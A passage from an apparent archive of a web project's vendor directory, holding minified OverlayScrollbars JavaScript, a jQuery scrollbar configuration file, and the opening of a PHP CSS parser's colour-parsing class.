ui.apply(this,[].slice.call(arguments).concat([o]))},c={x:Zt[_e](),y:Zt[Se]()},s=qt.scrollbars,l=qt.textarea,v=s.visibility,d=f(v,Rr),h=s.autoHide,p=f(h,Lr),b=s.clickScrolling,y=f(b,Nr),m=s.dragScrolling,g=f(m,Wr),w=qt.className,x=f(w,Er),_=qt.resize,S=f(_,Dr)&&!Wt,z=qt.paddingAbsolute,T=f(z,Sr),O=qt.clipAlways,k=f(O,zr),C=qt.sizeAutoCapable&&!Wt,A=f(C,Hr),H=qt.nativeScrollbarsOverlaid.showNativeScrollbars,R=f(H,Cr),L=qt.autoUpdate,N=f(L,Ar),W=qt.overflowBehavior,D=f(W,Or,o),M=l.dynWidth,E=f(Vr,M),I=l.dynHeight,j=f(Ur,I);if(Yr="n"===h,Kr="s"===h,Gr="m"===h,Jr="l"===h,Xr=s.autoHideDelay,Ir=Er,Qr="n"===_,Zr="b"===_,ne="h"===_,te="v"===_,Mr=qt.normalizeRTL,H=H&&zt.x&&zt.y,Rr=v,Lr=h,Nr=b,Wr=m,Er=w,Dr=_,Sr=z,zr=O,Hr=C,Cr=H,Ar=L,Or=fi({},W),Vr=M,Ur=I,hr=hr||{x:!1,y:!1},x&&(si(Kt,Ir+xe+Ie),ci(Kt,w!==hi&&null!==w&&0<w.length?w:Ie)),N&&(!0===L||null===L&&kt?(Ve(),_t.add(St)):(_t.remove(St),Ue())),A)if(C)if(rr?rr.show():(rr=Ci(ai(Le)),Qt.before(rr)),Mt)Gt.show();else{Gt=Ci(ai(Ne)),ur=Gt[0],rr.before(Gt);var F={w:-1,h:-1};Pe(Gt,function(){var n={w:ur[xi.oW],h:ur[xi.oH]};ui(n,F)&&(Rt&&yr&&0<n.h||br&&0<n.w||Rt&&!yr&&0===n.h||!br&&0===n.w)&&Xe(),F=n}),Mt=!0,null!==At&&Gt.css(pe,At+"(100% + 1px)")}else Mt&&Gt.hide(),rr&&rr.hide();o&&(Jt.find("*").trigger(ge),Mt&&Gt.find("*").trigger(ge)),t=t===hi?Kt.is(":hidden"):t;var P,U=!!Nt&&"off"!==Yt.attr("wrap"),V=f(U,jr),$=Kt.css("direction"),q=f($,_r),B=Kt.css("box-sizing"),X=f(B,mr),Y=ei(ae);try{P=Mt?ur[xi.bCR]():null}catch(gt){return}Dt="border-box"===B;var K=(Vt="rtl"===$)?le:ce,G=Vt?ce:le,J=!1,Q=!(!Mt||"none"===Kt.css(be))&&(0===Oi.round(P.right-P.left)&&(!!z||0<ar[xi.cW]-Et));if(C&&!Q){var Z=ar[xi.oW],nn=rr.css(he);rr.css(he,me);var tn=ar[xi.oW];rr.css(he,nn),(J=Z!==tn)||(rr.css(he,Z+1),tn=ar[xi.oW],rr.css(he,nn),J=Z!==tn)}var rn=(Q||J)&&C&&!t,en=f(rn,br),on=!rn&&br,an=!(!Mt||!C||t)&&0===Oi.round(P.bottom-P.top),un=f(an,yr),fn=!an&&yr,cn=ei(ue,"-"+he,!(rn&&Dt||!Dt),!(an&&Dt||!Dt)),sn=ei(oe),ln={},vn={},dn=function(){return{w:ar[xi.cW],h:ar[xi.cH]}},hn=function(){return{w:fr[xi.oW]+Oi.max(0,sr[xi.cW]-sr[xi.sW]),h:fr[xi.oH]+Oi.max(0,sr[xi.cH]-sr[xi.sH])}},pn=Et=Y.l+Y.r,bn=It=Y.t+Y.b;if(pn*=z?1:0,bn*=z?1:0,Y.c=f(Y,gr),jt=cn.l+cn.r,Ft=cn.t+cn.b,cn.c=f(cn,wr),Pt=sn.l+sn.r,Ut=sn.t+sn.b,sn.c=f(sn,xr),jr=U,_r=$,mr=B,br=rn,yr=an,gr=Y,wr=cn,xr=sn,q&&Mt&&Gt.css(be,G),Y.c||q||T||en||un||X||A){var yn={},mn={},gn=[Y.t,Y.r,Y.b,Y.l];ri(vn,oe,[-Y.t,-Y.r,-Y.b,-Y.l]),z?(ri(yn,ye,gn),ri(Nt?mn:ln,ae)):(ri(yn,ye),ri(Nt?mn:ln,ae,gn)),Qt.css(yn),Yt.css(mn)}ee=hn();var wn=!!Nt&&Be(),xn=Nt&&f(wn,Pr),_n=Nt&&wn?{w:M?wn.X:wn.q,h:I?wn.Y:wn.B}:{};if(Pr=wn,an&&(un||T||X||Y.c||cn.c)?ln[pe]=me:(un||T)&&(ln[pe]=we),rn&&(en||T||X||Y.c||cn.c||q)?(ln[he]=me,vn[de+he]=we):(en||T)&&(ln[he]=we,ln[be]=ye,vn[de+he]=ye),rn?(vn[he]=me,ln[he]=_i.v(he,"max-content intrinsic")||me,ln[be]=G):vn[he]=ye,vn[pe]=an?_n.h||sr[xi.cH]:ye,C&&rr.css(vn),nr.css(ln),ln={},vn={},e||i||xn||q||X||T||en||rn||un||an||R||D||k||S||d||p||g||y||E||j||V){var Sn="overflow",zn=Sn+"-x",Tn=Sn+"-y";if(!Ct){var On={},kn=hr.y&&pr.ys&&!H?zt.y?Zt.css(K):-Ht.y:0,Cn=hr.x&&pr.xs&&!H?zt.x?Zt.css(se):-Ht.x:0;ri(On,ye),Zt.css(On)}var An=oi(),Hn={w:_n.w||An[xi.cW],h:_n.h||An[xi.cH]},Rn=An[xi.sW],Ln=An[xi.sH];Ct||(On[se]=fn?ye:Cn,On[K]=on?ye:kn,Zt.css(On)),ee=hn();var Nn=dn(),Wn={w:Nn.w-Pt-jt-(Dt?0:Et),h:Nn.h-Ut-Ft-(Dt?0:It)},Dn={w:Oi.max((rn?Hn.w:Rn)+pn,Wn.w),h:Oi.max((an?Hn.h:Ln)+bn,Wn.h)};if(Dn.c=f(Dn,Tr),Tr=Dn,C){(Dn.c||an||rn)&&(vn[he]=Dn.w,vn[pe]=Dn.h,Nt||(Hn={w:An[xi.cW],h:An[xi.cH]}));var Mn={},En=function(n){var t=ni(n),r=t.F,e=t.K,i=n?rn:an,o=n?jt:Ft,a=n?Et:It,u=n?Pt:Ut,f=ee[r]-o-u-(Dt?0:a);i&&(i||!cn.c)||(vn[e]=Wn[r]-1),!(i&&Hn[r]<f)||n&&Nt&&U||(Nt&&(Mn[e]=ii(er.css(e))-1),--vn[e]),0<Hn[r]&&(vn[e]=Oi.max(1,vn[e]))};En(!0),En(!1),Nt&&er.css(Mn),rr.css(vn)}rn&&(ln[he]=we),!rn||Dt||qr||(ln[be]="none"),nr.css(ln),ln={};var In={w:An[xi.sW],h:An[xi.sH]};In.c=i=f(In,vr),vr=In,ee=hn(),e=f(Nn=dn(),lr),lr=Nn;var jn=Nt&&(0===ee.w||0===ee.h),Fn=kr,Pn={},Un={},Vn={},$n={},qn={},Bn={},Xn={},Yn=fr[xi.bCR](),Kn=function(n){var t=ni(n),r=ni(!n).U,e=t.U,i=t.F,o=t.K,a=ge+t.G+"Max",u=Yn[o]?Oi.abs(Yn[o]-ee[i]):0,f=Fn&&0<Fn[e]&&0===cr[a];Pn[e]="v-s"===W[e],Un[e]="v-h"===W[e],Vn[e]="s"===W[e],$n[e]=Oi.max(0,Oi.round(100*(In[i]-ee[i]))/100),$n[e]*=jn||f&&0<u&&u<1?0:1,qn[e]=0<$n[e],Bn[e]=Pn[e]||Un[e]?qn[r]&&!Pn[r]&&!Un[r]:qn[e],Bn[e+"s"]=!!Bn[e]&&(Vn[e]||Pn[e]),Xn[e]=qn[e]&&Bn[e+"s"]};if(Kn(!0),Kn(!1),$n.c=f($n,kr),kr=$n,qn.c=f(qn,hr),hr=qn,Bn.c=f(Bn,pr),pr=Bn,zt.x||zt.y){var Gn,Jn={},Qn={},Zn=o;(qn.x||qn.y)&&(Qn.w=zt.y&&qn.y?In.w+Tt.y:ye,Qn.h=zt.x&&qn.x?In.h+Tt.x:ye,Zn=f(Qn,dr),dr=Qn),(qn.c||Bn.c||In.c||q||en||un||rn||an||R)&&(ln[oe+G]=ln[ue+G]=ye,Gn=function(n){var t=ni(n),r=ni(!n),e=t.U,i=n?se:K,o=n?an:rn;zt[e]&&qn[e]&&Bn[e+"s"]?(ln[oe+i]=!o||H?ye:Tt[e],ln[ue+i]=n&&o||H?ye:Tt[e]+"px solid transparent"):(Qn[r.F]=ln[oe+i]=ln[ue+i]=ye,Zn=!0)},Ct?li(Zt,He,!H):(Gn(!0),Gn(!1))),H&&(Qn.w=Qn.h=ye,Zn=!0),Zn&&!Ct&&(Jn[he]=Bn.y?Qn.w:ye,Jn[pe]=Bn.x?Qn.h:ye,tr||(tr=Ci(ai(Re)),Zt.prepend(tr)),tr.css(Jn)),nr.css(ln)}var nt,tt={};yn={};if((e||qn.c||Bn.c||In.c||D||X||R||q||k||un)&&(tt[G]=ye,(nt=function(n){var t=ni(n),r=ni(!n),e=t.U,i=t.J,o=n?se:K,a=function(){tt[o]=ye,re[r.F]=0};qn[e]&&Bn[e+"s"]?(tt[Sn+i]=ge,H||Ct?a():(tt[o]=-(zt[e]?Tt[e]:Ht[e]),re[r.F]=zt[e]?Tt[r.U]:0)):(tt[Sn+i]=ye,a())})(!0),nt(!1),!Ct&&(ee.h<ie.x||ee.w<ie.y)&&(qn.x&&Bn.x&&!zt.x||qn.y&&Bn.y&&!zt.y)?(tt[ae+fe]=ie.x,tt[oe+fe]=-ie.x,tt[ae+G]=ie.y,tt[oe+G]=-ie.y):tt[ae+fe]=tt[oe+fe]=tt[ae+G]=tt[oe+G]=ye,tt[ae+K]=tt[oe+K]=ye,qn.x&&Bn.x||qn.y&&Bn.y||jn?Nt&&jn&&(yn[zn]=yn[Tn]="hidden"):(!O||Un.x||Pn.x||Un.y||Pn.y)&&(Nt&&(yn[zn]=yn[Tn]=ye),tt[zn]=tt[Tn]="visible"),Qt.css(yn),Zt.css(tt),tt={},(qn.c||X||en||un)&&(!zt.x||!zt.y))){var rt=sr[xi.s];rt.webkitTransform="scale(1)",rt.display="run-in",sr[xi.oH],rt.display=ye,rt.webkitTransform=ye}if(ln={},q||en||un)if(Vt&&rn){var et=nr.css(be),it=Oi.round(nr.css(be,ye).css(le,ye).position().left);nr.css(be,et),it!==Oi.round(nr.position().left)&&(ln[le]=it)}else ln[le]=ye;if(nr.css(ln),Nt&&i){var ot=function wt(){var n=or.selectionStart;if(n===hi)return;var t,r,e=Yt.val(),i=e[xi.l],o=e.split("\n"),a=o[xi.l],u=e.substr(0,n).split("\n"),f=0,c=0,s=u[xi.l],l=u[u[xi.l]-1][xi.l];for(r=0;r<o[xi.l];r++)t=o[r][xi.l],c<t&&(f=r+1,c=t);return{Q:s,Z:l,nn:a,tn:c,rn:f,en:n,"in":i}}();if(ot){var at=Fr===hi||ot.nn!==Fr.nn,ut=ot.Q,ft=ot.Z,ct=ot.rn,st=ot.nn,lt=ot.tn,vt=ot.en,dt=ot["in"]<=vt&&Br,ht={x:U||ft!==lt||ut!==ct?-1:kr.x,y:(U?dt||at&&Fn&&c.y===Fn.y:(dt||at)&&ut===st)?kr.y:-1};c.x=-1<ht.x?Vt&&Mr&&Ot.i?0:ht.x:c.x,c.y=-1<ht.y?ht.y:c.y}Fr=ot}Vt&&Ot.i&&zt.y&&qn.x&&Mr&&(c.x+=re.w||0),rn&&Kt[_e](0),an&&Kt[Se](0),Zt[_e](c.x)[Se](c.y);var pt="v"===v,bt="h"===v,yt="a"===v,mt=function(n,t){t=t===hi?n:t,Ke(!0,n,Xn.x),Ke(!1,t,Xn.y)};li(Kt,ke,Bn.x||Bn.y),li(Kt,Ce,Bn.x),li(Kt,Ae,Bn.y),q&&!Wt&&li(Kt,ze,Vt),Wt&&ci(Kt,Te),S&&(li(Kt,Te,Qr),li(ir,We,!Qr),li(ir,De,Zr),li(ir,Me,ne),li(ir,Ee,te)),(d||D||Bn.c||qn.c||R)&&(H?R&&(si(Kt,Oe),H&&mt(!1)):yt?mt(Xn.x,Xn.y):pt?mt(!0):bt&&mt(!1)),(p||R)&&($e(!Jr&&!Gr),Ge(Yr,!Yr)),(e||$n.c||un||en||S||X||T||R||q)&&(Je(!0),Qe(!0),Je(!1),Qe(!1)),y&&Ze(!0,b),g&&Ze(!1,m),ti("onDirectionChanged",{isRTL:Vt,dir:$},q),ti("onHostSizeChanged",{width:lr.w,height:lr.h},e),ti("onContentSizeChanged",{width:vr.w,height:vr.h},i),ti("onOverflowChanged",{x:qn.x,y:qn.y,xScrollable:Bn.xs,yScrollable:Bn.ys,clipped:Bn.x||Bn.y},qn.c||Bn.c),ti("onOverflowAmountChanged",{x:$n.x,y:$n.y},$n.c)}Wt&&$r&&(hr.c||$r.c)&&($r.f||qe(),zt.y&&hr.x&&nr.css(ve+he,$r.w+Tt.y),zt.x&&hr.y&&nr.css(ve+pe,$r.h+Tt.x),$r.c=!1),Rt&&a.updateOnLoad&&Ye(),ti("onUpdated",{forced:o})}}function Ye(){Nt||yt(function(n,t){nr.find(t).each(function(n,t){Si.inA(t,Vn)<0&&(Vn.push(t),Ci(t).off(Un,rt).on(Un,rt))})})}function ot(n){var t=Ti._(n,Ti.g,!0,a);return a=fi({},a,t.S),qt=fi({},qt,t.z),t.z}function at(e){var n="parent",t=yn+xe+On,r=Nt?xe+On:ye,i=qt.textarea.inheritedAttrs,o={},a=function(){var r=e?Yt:Kt;d(o,function(n,t){cn(t)==mi&&(n==xi.c?r.addClass(t):r.attr(n,t))})},u=[rn,en,on,Te,ze,an,un,fn,Oe,ke,Ce,Ae,Ie,yn,On,Er].join(xe),f={};Kt=Kt||(Nt?p?Yt[n]()[n]()[n]()[n]():Ci(ai(on)):Yt),nr=nr||pt(_n+r),Zt=Zt||pt(wn+r),Qt=Qt||pt(gn+r),Jt=Jt||pt("os-resize-observer-host"),er=er||(Nt?pt(mn):hi),p&&ci(Kt,en),e&&si(Kt,u),i=cn(i)==mi?i.split(xe):i,Si.isA(i)&&Nt&&d(i,function(n,t){cn(t)==mi&&(o[t]=e?Kt.attr(t):Yt.attr(t))}),e?(p&&Rt?(Jt.children().remove(),d([Qt,Zt,nr,er],function(n,t){t&&si(t.removeAttr(xi.s),In)}),ci(Kt,Nt?on:rn)):(mt(Jt),nr.contents().unwrap().unwrap().unwrap(),Nt&&(Yt.unwrap(),mt(Kt),mt(er),a())),Nt&&Yt.removeAttr(xi.s),Wt&&si(c,tn)):(Nt&&(qt.sizeAutoCapable||(f[he]=Yt.css(he),f[pe]=Yt.css(pe)),p||Yt.addClass(On).wrap(Kt),Kt=Yt[n]().css(f)),p||(ci(Yt,Nt?t:rn),Kt.wrapInner(nr).wrapInner(Zt).wrapInner(Qt).prepend(Jt),nr=gt(Kt,W+_n),Zt=gt(Kt,W+wn),Qt=gt(Kt,W+gn),Nt&&(nr.prepend(er),a())),Ct&&ci(Zt,He),zt.x&&zt.y&&ci(Zt,xn),Wt&&ci(c,tn),R=Jt[0],ar=Kt[0],fr=Qt[0],cr=Zt[0],sr=nr[0],it())}function ut(){var r,t,e=[112,113,114,115,116,117,118,119,120,121,123,33,34,37,38,39,40,16,17,18,19,20,144],i=[],n="focus";function o(n){Be(),St.update(me),n&&kt&&clearInterval(r)}Nt?(9<I||!kt?Kn(Yt,"input",o):Kn(Yt,[K,G],[function a(n){var t=n.keyCode;sn(t,e)<0&&(i[xi.l]||(o(),r=setInterval(o,1e3/60)),sn(t,i)<0&&i.push(t))},function u(n){var t=n.keyCode,r=sn(t,i);sn(t,e)<0&&(-1<r&&i.splice(r,1),i[xi.l]||o(!0))}]),Kn(Yt,[ge,"drop",n,n+"out"],[function f(n){return Yt[_e](Ot.i&&Mr?9999999:0),Yt[Se](0),Si.prvD(n),Si.stpP(n),!1},function c(n){setTimeout(function(){Lt||o()},50)},function s(){Br=!0,ci(Kt,n)},function l(){Br=!1,i=[],si(Kt,n),o(!0)}])):Kn(nr,Q,function v(n){!0!==Ar&&function l(n){if(!Rt)return 1;var t="flex-grow",r="flex-shrink",e="flex-basis",i=[he,ve+he,de+he,oe+le,oe+ce,le,ce,"font-weight","word-spacing",t,r,e],o=[ae+le,ae+ce,ue+le+he,ue+ce+he],a=[pe,ve+pe,de+pe,oe+fe,oe+se,fe,se,"line-height",t,r,e],u=[ae+fe,ae+se,ue+fe+he,ue+se+he],f="s"===Or.x||"v-s"===Or.x,c=!1,s=function(n,t){for(var r=0;r<n[xi.l];r++)if(n[r]===t)return!0;return!1};return("s"===Or.y||"v-s"===Or.y)&&((c=s(a,n))||Dt||(c=s(u,n))),f&&!c&&((c=s(i,n))||Dt||(c=s(o,n))),c}((n=n.originalEvent||n).propertyName)&&St.update(me)}),Kn(Zt,ge,function d(n){$t||(t!==hi?clearTimeout(t):((Kr||Gr)&&Ge(!0),ht()||ci(Kt,Oe),ti("onScrollStart",n)),V||(Qe(!0),Qe(!1)),ti("onScroll",n),t=setTimeout(function(){Lt||(clearTimeout(t),t=hi,(Kr||Gr)&&Ge(!1),ht()||si(Kt,Oe),ti("onScrollStop",n))},175))},!0)}function ft(i){var n,t,o=function(n){var t=pt(kn+xe+(n?Dn:Mn),!0),r=pt(Cn,t),e=pt(Hn,t);return p||i||(t.append(r),r.append(e)),{an:t,un:r,cn:e}};function r(n){var t=ni(n),r=t.an,e=t.un,i=t.cn;p&&Rt?d([r,e,i],function(n,t){si(t.removeAttr(xi.s),In)}):mt(r||o(n).an)}i?(r(!0),r()):(n=o(!0),t=o(),f=n.an,s=n.un,l=n.cn,v=t.an,b=t.un,y=t.cn,p||(Qt.after(v),Qt.after(f)))}function ct(z){var T,i,O,k,e=ni(z),C=e.sn,t=x.top!==x,A=e.U,r=e.J,H=ge+e.G,o="active",a="snapHandle",u="click",R=1,f=[16,17];function c(n){return I&&t?n["screen"+r]:Si.page(n)[A]}function s(n){return qt.scrollbars[n]}function l(){R=.5}function v(){R=1}function d(n){Si.stpP(n)}function L(n){-1<sn(n.keyCode,f)&&l()}function N(n){-1<sn(n.keyCode,f)&&v()}function W(n){var t=(n.originalEvent||n).touches!==hi;return!($t||Lt||ht()||!Wr||t&&!s("touchSupport"))&&(1===Si.mBtn(n)||t)}function h(n){if(W(n)){var t=C.I,r=C.D,e=C.N*((c(n)-O)*k/(t-r));e=isFinite(e)?e:0,Vt&&z&&!Ot.i&&(e*=-1),Zt[H](Oi.round(i+e)),V&&Qe(z,i+e),g||Si.prvD(n)}else D(n)}function D(n){if(n=n||n.originalEvent,Yn(F,[B,q,K,G,J],[h,D,L,N,tt],!0),Si.rAF()(function(){Yn(F,u,d,!0,{$:!0})}),V&&Qe(z,!0),V=!1,si(P,En),si(e.cn,o),si(e.un,o),si(e.an,o),k=1,v(),T!==(O=i=hi)&&(St.scrollStop(),clearTimeout(T),T=hi),n){var t=ar[xi.bCR]();n.clientX>=t.left&&n.clientX<=t.right&&n.clientY>=t.top&&n.clientY<=t.bottom||Zn(),(Kr||Gr)&&Ge(!1)}}function M(n){i=Zt[H](),i=isNaN(i)?0:i,(Vt&&z&&!Ot.n||!Vt)&&(i=i<0?0:i),k=vt()[A],O=c(n),V=!s(a),ci(P,En),ci(e.cn,o),ci(e.an,o),Yn(F,[B,q,J],[h,D,tt]),Si.rAF()(function(){Yn(F,u,d,!1,{$:!0})}),!I&&w||Si.prvD(n),Si.stpP(n)}Kn(e.cn,$,function p(n){W(n)&&M(n)}),Kn(e.un,[$,X,Y],[function E(n){if(W(n)){var d,t=e.sn.D/Math.round(Oi.min(1,ee[e.F]/vr[e.F])*e.sn.I),h=Oi.round(ee[e.F]*t),p=270*t,b=400*t,y=e.un.offset()[e.P],r=n.ctrlKey,m=n.shiftKey,g=m&&r,w=!0,x=function(n){V&&Qe(z,n)},_=function(){x(),M(n)},S=function(){if(!Lt){var n=(O-y)*k,t=C.W,r=C.I,e=C.D,i=C.N,o=C.R,a=p*R,u=w?Oi.max(b,a):a,f=i*((n-e/2)/(r-e)),c=Vt&&z&&(!Ot.i&&!Ot.n||Mr),s=c?t<n:n<t,l={},v={easing:"linear",step:function(n){V&&(Zt[H](n),Qe(z,n))}};f=isFinite(f)?f:0,f=Vt&&z&&!Ot.i?i-f:f,m?(Zt[H](f),g?(f=Zt[H](),Zt[H](o),f=c&&Ot.i?i-f:f,f=c&&Ot.n?-f:f,l[A]=f,St.scroll(l,fi(v,{duration:130,complete:_}))):_()):(d=w?s:d,(c?d?n<=t+e:t<=n:d?t<=n:n<=t+e)?(clearTimeout(T),St.scrollStop(),T=hi,x(!0)):(T=setTimeout(S,u),l[A]=(d?"-=":"+=")+h,St.scroll(l,fi(v,{duration:a}))),w=!1)}};r&&l(),k=vt()[A],O=Si.page(n)[A],V=!s(a),ci(P,En),ci(e.un,o),ci(e.an,o),Yn(F,[q,K,G,J],[D,L,N,tt]),S(),Si.prvD(n),Si.stpP(n)}},function b(n){U=!0,(Kr||Gr)&&Ge(!0)},function y(n){U=!1,(Kr||Gr)&&Ge(!1)}]),Kn(e.an,$,function m(n){Si.stpP(n)}),j&&Kn(e.an,Q,function(n){n.target===e.an[0]&&(Je(z),Qe(z))})}function Ke(n,t,r){var e=n?f:v;li(Kt,n?an:un,!t),li(e,Ln,!r)}function Ge(n,t){if(clearTimeout(k),n)si(f,Nn),si(v,Nn);else{var r,e=function(){U||Lt||(!(r=l.hasClass("active")||y.hasClass("active"))&&(Kr||Gr||Jr)&&ci(f,Nn),!r&&(Kr||Gr||Jr)&&ci(v,Nn))};0<Xr&&!0!==t?k=setTimeout(e,Xr):e()}}function Je(n){var t={},r=ni(n),e=r.sn,i=Oi.min(1,ee[r.F]/vr[r.F]);t[r.K]=Oi.floor(100*i*1e6)/1e6+"%",ht()||r.cn.css(t),e.D=r.cn[0]["offset"+r.ln],e.M=i}function Qe(n,t){var r,e,i=cn(t)==gi,o=Vt&&n,a=ni(n),u=a.sn,f="translate(",c=_i.u("transform"),s=_i.u("transition"),l=n?Zt[_e]():Zt[Se](),v=t===hi||i?l:t,d=u.D,h=a.un[0]["offset"+a.ln],p=h-d,b={},y=(cr[ge+a.ln]-cr["client"+a.ln])*(Ot.n&&o?-1:1),m=function(n){return isNaN(n/y)?0:Oi.max(0,Oi.min(1,n/y))},g=function(n){var t=p*n;return t=isNaN(t)?0:t,t=o&&!Ot.i?h-d-t:t,t=Oi.max(0,t)},w=m(l),x=g(m(v)),_=g(w);u.N=y,u.R=l,u.L=w,ln?(r=o?-(h-d-x):x,e=n?f+r+"px, 0)":f+"0, "+r+"px)",b[c]=e,j&&(b[s]=i&&1<Oi.abs(x-u.W)?function S(n){var t=_i.u("transition"),r=n.css(t);if(r)return r;for(var e,i,o,a="\\s*(([^,(]+(\\(.+?\\))?)+)[\\s,]*",u=new RegExp(a),f=new RegExp("^("+a+")+$"),c="property duration timing-function delay".split(" "),s=[],l=0,v=function(n){if(e=[],!n.match(f))return n;for(;n.match(u);)e.push(RegExp.$1),n=n.replace(u,ye);return e};l<c[xi.l];l++)for(i=v(n.css(t+"-"+c[l])),o=0;o<i[xi.l];o++)s[o]=(s[o]?s[o]+xe:ye)+i[o];return s.join(", ")}(a.cn)+", "+(c+xe+250)+"ms":ye)):b[a.P]=x,ht()||(a.cn.css(b),ln&&j&&i&&a.cn.one(Q,function(){Lt||a.cn.css(s,ye)})),u.W=x,u.j=_,u.I=h}function Ze(n,t){var r=t?"removeClass":"addClass",e=n?b:y,i=n?An:Rn;(n?s:l)[r](i),e[r](i)}function ni(n){return{K:n?he:pe,ln:n?"Width":"Height",P:n?le:fe,G:n?"Left":"Top",U:n?pn:bn,J:n?"X":"Y",F:n?"w":"h",vn:n?"l":"t",un:n?s:b,cn:n?l:y,an:n?f:v,sn:n?vn:dn}}function st(n){ir=ir||pt(Wn,!0),n?p&&Rt?si(ir.removeAttr(xi.s),In):mt(ir):p||Kt.append(ir)}function ti(n,t,r){if(!1!==r)if(Rt){var e,i=qt.callbacks[n],o=n;"on"===o.substr(0,2)&&(o=o.substr(2,1).toLowerCase()+o.substr(3)),cn(i)==bi&&i.call(St,t),d(Pn,function(){cn((e=this).on)==bi&&e.on(o,t)})}else Lt||jn.push({n:n,a:t})}function ri(n,t,r){r=r||[ye,ye,ye,ye],n[(t=t||ye)+fe]=r[0],n[t+ce]=r[1],n[t+se]=r[2],n[t+le]=r[3]}function ei(n,t,r,e){return t=t||ye,n=n||ye,{t:e?0:ii(Kt.css(n+fe+t)),r:r?0:ii(Kt.css(n+ce+t)),b:e?0:ii(Kt.css(n+se+t)),l:r?0:ii(Kt.css(n+le+t))}}function lt(n,t){var r,e,i,o=function(n,t){if(i="",t&&typeof n==mi)for(e=n.split(xe),r=0;r<e[xi.l];r++)i+="|"+e[r]+"$";return i};return new RegExp("(^"+rn+"([-_].+|)$)"+o(Er,n)+o(Ir,t),"g")}function vt(){var n=fr[xi.bCR]();return{x:ln&&1/(Oi.round(n.width)/fr[xi.oW])||1,y:ln&&1/(Oi.round(n.height)/fr[xi.oH])||1}}function dt(n){var t="ownerDocument",r="HTMLElement",e=n&&n[t]&&n[t].parentWindow||vi;return typeof e[r]==pi?n instanceof e[r]:n&&typeof n==pi&&null!==n&&1===n.nodeType&&typeof n.nodeName==mi}function ii(n,t){var r=t?parseFloat(n):parseInt(n,10);return isNaN(r)?0:r}function ht(){return Cr&&zt.x&&zt.y}function oi(){return Nt?er[0]:sr}function ai(r,n){return"<div "+(r?cn(r)==mi?'class="'+r+'"':function(){var n,t=ye;if(Ci.isPlainObject(r))for(n in r)t+=("c"===n?"class":n)+'="'+r[n]+'" ';return t}():ye)+">"+(n||ye)+"</div>"}function pt(n,t){var r=cn(t)==gi,e=!r&&t||Kt;return p&&!e[xi.l]?null:p?e[r?"children":"find"](W+n.replace(/\s/g,W)).eq(0):Ci(ai(n))}function bt(n,t){for(var r,e=t.split(W),i=0;i<e.length;i++){if(!n[xi.hOP](e[i]))return;r=n[e[i]],i<e.length&&cn(r)==pi&&(n=r)}return r}function yt(n){var t=qt.updateOnLoad;t=cn(t)==mi?t.split(xe):t,Si.isA(t)&&!Lt&&d(t,n)}function ui(n,t,r){if(r)return r;if(cn(n)!=pi||cn(t)!=pi)return n!==t;for(var e in n)if("c"!==e){if(!n[xi.hOP](e)||!t[xi.hOP](e))return!0;if(ui(n[e],t[e]))return!0}return!1}function fi(){return Ci.extend.apply(this,[!0].concat([].slice.call(arguments)))}function ci(n,t){return e.addClass.call(n,t)}function si(n,t){return e.removeClass.call(n,t)}function li(n,t,r){return(r?ci:si)(n,t)}function mt(n){return e.remove.call(n)}function gt(n,t){return e.find.call(n,t).eq(0)}}return ki&&ki.fn&&(ki.fn.overlayScrollbars=function(n,t){return ki.isPlainObject(n)?(ki.each(this,function(){w(this,n,t)}),this):w(this,n)}),w});vendor/overlay-scroll/custom-scrollbar.js000066600000002427151150442740014663 0ustar00$(function () {
	$(".sidebarMenuScroll").overlayScrollbars({
		scrollbars: {
			visibility: "auto",
			autoHide: "scroll",
			autoHideDelay: 200,
			dragScrolling: true,
			clickScrolling: false,
			touchSupport: true,
			snapHandle: false,
		},
	});
});

// Scroll 250
$(function () {
	$(".scroll250").overlayScrollbars({
		scrollbars: {
			visibility: "auto",
			autoHide: "scroll",
			autoHideDelay: 200,
			dragScrolling: true,
			clickScrolling: false,
			touchSupport: true,
			snapHandle: false,
		},
	});
});

// Scroll 290
$(function () {
	$(".scroll290").overlayScrollbars({
		scrollbars: {
			visibility: "auto",
			autoHide: "scroll",
			autoHideDelay: 200,
			dragScrolling: true,
			clickScrolling: false,
			touchSupport: true,
			snapHandle: false,
		},
	});
});

// Scroll 300
$(function () {
	$(".scroll300").overlayScrollbars({
		scrollbars: {
			visibility: "auto",
			autoHide: "scroll",
			autoHideDelay: 200,
			dragScrolling: true,
			clickScrolling: false,
			touchSupport: true,
			snapHandle: false,
		},
	});
});

// Scroll 350
$(function () {
	$(".scroll350").overlayScrollbars({
		scrollbars: {
			visibility: "auto",
			autoHide: "scroll",
			autoHideDelay: 200,
			dragScrolling: true,
			clickScrolling: false,
			touchSupport: true,
			snapHandle: false,
		},
	});
});
vendor/sabberworm/php-css-parser/src/Value/Color.php000066600000014420151150442740016515 0ustar00<?php

namespace Sabberworm\CSS\Value;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;

/**
 * `Color's can be input in the form #rrggbb, #rgb or schema(val1, val2, …) but are always stored as an array of
 * ('s' => val1, 'c' => val2, 'h' => val3, …) and output in the second form.
 */
class Color extends CSSFunction
{
    /**
     * @param array<int, RuleValueList|CSSFunction|CSSString|LineName|Size|URL|string> $aColor
     * @param int $iLineNo
     */
    public function __construct(array $aColor, $iLineNo = 0)
    {
        parent::__construct(implode('', array_keys($aColor)), $aColor, ',', $iLineNo);
    }

    /**
     * @param ParserState $oParserState
     * @param bool $bIgnoreCase
     *
     * @return Color|CSSFunction
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parse(ParserState $oParserState, $bIgnoreCase = false)
    {
        $aColor = [];
        if ($oParserState->comes('#')) {
            $oParserState->consume('#');
            $sValue = $oParserState->parseIdentifier(false);
            if ($oParserState->strlen($sValue) === 3) {
                $sValue = $sValue[0] . $sValue[0] . $sValue[1] . $sValue[1] . $sValue[2] . $sValue[2];
            } elseif ($oParserState->strlen($sValue) === 4) {
                $sValue = $sValue[0] . $sValue[0] . $sValue[1] . $sValue[1] . $sValue[2] . $sValue[2] . $sValue[3]
                    . $sValue[3];
            }

            if ($oParserState->strlen($sValue) === 8) {
                $aColor = [
                    'r' => new Size(intval($sValue[0] . $sValue[1], 16), null, true, $oParserState->currentLine()),
                    'g' => new Size(intval($sValue[2] . $sValue[3], 16), null, true, $oParserState->currentLine()),
                    'b' => new Size(intval($sValue[4] . $sValue[5], 16), null, true, $oParserState->currentLine()),
                    'a' => new Size(
                        round(self::mapRange(intval($sValue[6] . $sValue[7], 16), 0, 255, 0, 1), 2),
                        null,
